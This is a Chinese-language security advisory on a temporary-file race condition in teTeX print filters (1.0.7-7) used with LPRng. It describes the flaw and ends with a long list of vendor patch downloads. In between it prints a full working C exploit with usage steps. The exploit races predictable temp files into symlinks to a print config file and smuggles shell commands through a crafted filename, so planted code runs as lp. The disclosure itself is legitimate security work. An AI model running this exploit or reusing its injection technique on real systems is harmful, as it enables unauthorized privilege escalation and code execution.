teTeX Filters 临时文件存在竞争条件漏洞发布时间：2001-11-22 更新时间：2001-11-22 严重程度：高 威胁程度：本地管理员权限 错误类型：竞争条件 利用方式：服务器模式 受影响系统 teTeX teTeX 1.0.7-7详细描述 teTeX是UNIX兼容系统下的TeX发行版本。 其中一些teTeX filters在处理临时文件时候存在漏洞，其建立的临时文件是 全局可写并是基于Filters进程ID的可预测文件名，如果攻击者能在程序操作 期间判断临时文件，符号连接可以导致被连接的任意文件以执行用户身份被写。 当Filters以应用程序如LPRng执行的时候，就可以造成权限的提升。 测试代码 /******************************************************************** Redhat 7.0 (mebe 7.1 ?) LPRng-3.7.4-23 (and earlier) + tetex-1.0.7-7 (and earlier?) Insecure tmp file privilege elevation vulnerability. Allows uid/gid lp and root groups on LPRng-3.6.24 and earlier Please note: -rwxr-xr-x 1 lp lp 444472 Jun 14 22:05 /usr/bin/lpq* -rwxr-xr-x 1 lp lp 441624 Jun 14 22:05 /usr/bin/lprm* -rwxr-xr-x 1 lp lp 459160 Jun 14 22:05 /usr/bin/lpr* -rwxr-xr-x 1 lp lp 448120 Jun 14 22:05 /usr/bin/lpstat* -rwxr-xr-x 1 lp lp 448320 Jun 14 22:05 /usr/sbin/lpc* this program allows trojan code to be planted on the machine it is executed on. tmp file handling done badly in helper application (dvi print filter) allows modification to lp config files. the configuation file is sourced by the master print filter, which is itself a shell script, each time something is printed. this makes it possible to insert commands into the configuration file by creating a special filename to be included in the file that is created. (see the close(open(" thingee ) Redhat Bugzilla reference:- https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342 --zen-parse requires some fonts get made when its run. probably won't be a problem unless someone else has tried this exploit. just wait 90 days for /var/lib/texmf to clear and try again ;] or try print something different .dvi files are what does the trick. ********************************************************************/ int shake() { int f; char r[1000]; int w; f=fopen("/proc/loadavg","r"); fscanf(f,"%*s %*s %*s %*s %s",r); fclose(f); w=atoi(r); return w; } void cow(char *s,char *t,int ofs) { sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs); sprintf(t,"%s/lsR%d.tmp",s,ofs); } main() { char s[1000]; char t[1000]; int y,i; printf("Put the stuff to run as lp:lp in /tmp/hax\n"); printf("the lpr /usr/share/aspe<tab>/manual.dvi\n"); printf("when the ! comes up, wait a second, then press control-C.\n\n"); printf("Then print something.\n\n\n"); close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666)); while(1) { i=shake(); for(y=-30;y<0;y++) { cow(s,t,y+i); if(!access(t,0)) { printf("!\n"); unlink(t); symlink("/var/spool/lpd/lp/postscript.cfg",t); sleep(1); } } } } 解决方案 升级程序如下： teTeX teTeX 1.0.7-7: Immunix RPM 6.2 i386 tetex-latex-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-latex-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-fonts-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-fonts-1.0.7-7_StackGuard_1.i386.rpm MandrakeSoft Upgrade 7.2 i586 tetex-dvilj-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-dvips-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-latex-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-xdvi-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-afm-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-doc-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-dvilj-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-dvipdfm-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-dvips-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-latex-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 i586 tetex-xdvi-1.0.7-21.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-afm-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-doc-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-dvilj-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-dvipdfm-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-dvips-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-latex-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.0 ppc tetex-xdvi-1.0.7-21.1mdk.ppc.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-afm-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-doc-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-dvilj-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-dvipdfm-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-dvips-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-latex-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 8.1 i586 tetex-xdvi-1.0.7-31.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-afm-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-doc-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-dvilj-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-dvips-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-latex-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 1.0.1 i586 tetex-xdvi-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 Immunix RPM 6.2 i386 tetex-xdvi-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-xdvi-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-dvips-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-dvips-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-dvilj-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-dvilj-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-doc-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-doc-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-afm-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-afm-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 6.2 i386 tetex-1.0.7-7_StackGuard_1.i386.rpm http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/tetex-1.0.7-7_StackGuard_1.i386.rpm Immunix RPM 7.0 i386 tetex-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-afm-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-afm-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-doc-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-doc-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-dvilj-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-dvilj-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-latex-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-latex-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-fonts-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-fonts-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-dvips-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-dvips-1.0.7-7_imnx_1.i386.rpm Immunix RPM 7.0 i386 tetex-xdvi-1.0.7-7_imnx_1.i386.rpm http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/tetex-xdvi-1.0.7-7_imnx_1.i386.rpm MandrakeSoft Upgrade 7.1 i586 tetex-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-afm-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-doc-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-dvilj-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-dvips-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-latex-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.1 i586 tetex-xdvi-1.0.7-6.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-afm-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 MandrakeSoft Upgrade 7.2 i586 tetex-doc-1.0.7-11.1mdk.i586.rpm http://www.linux-mandrake.com/en/ftp.php3 相关信息 <zen-parse@gmx.net> 参考：http://www.securityfocus.com/advisories/3424 http://www.securityfocus.com/advisories/3670 http://www.tug.org/teTeX/ |
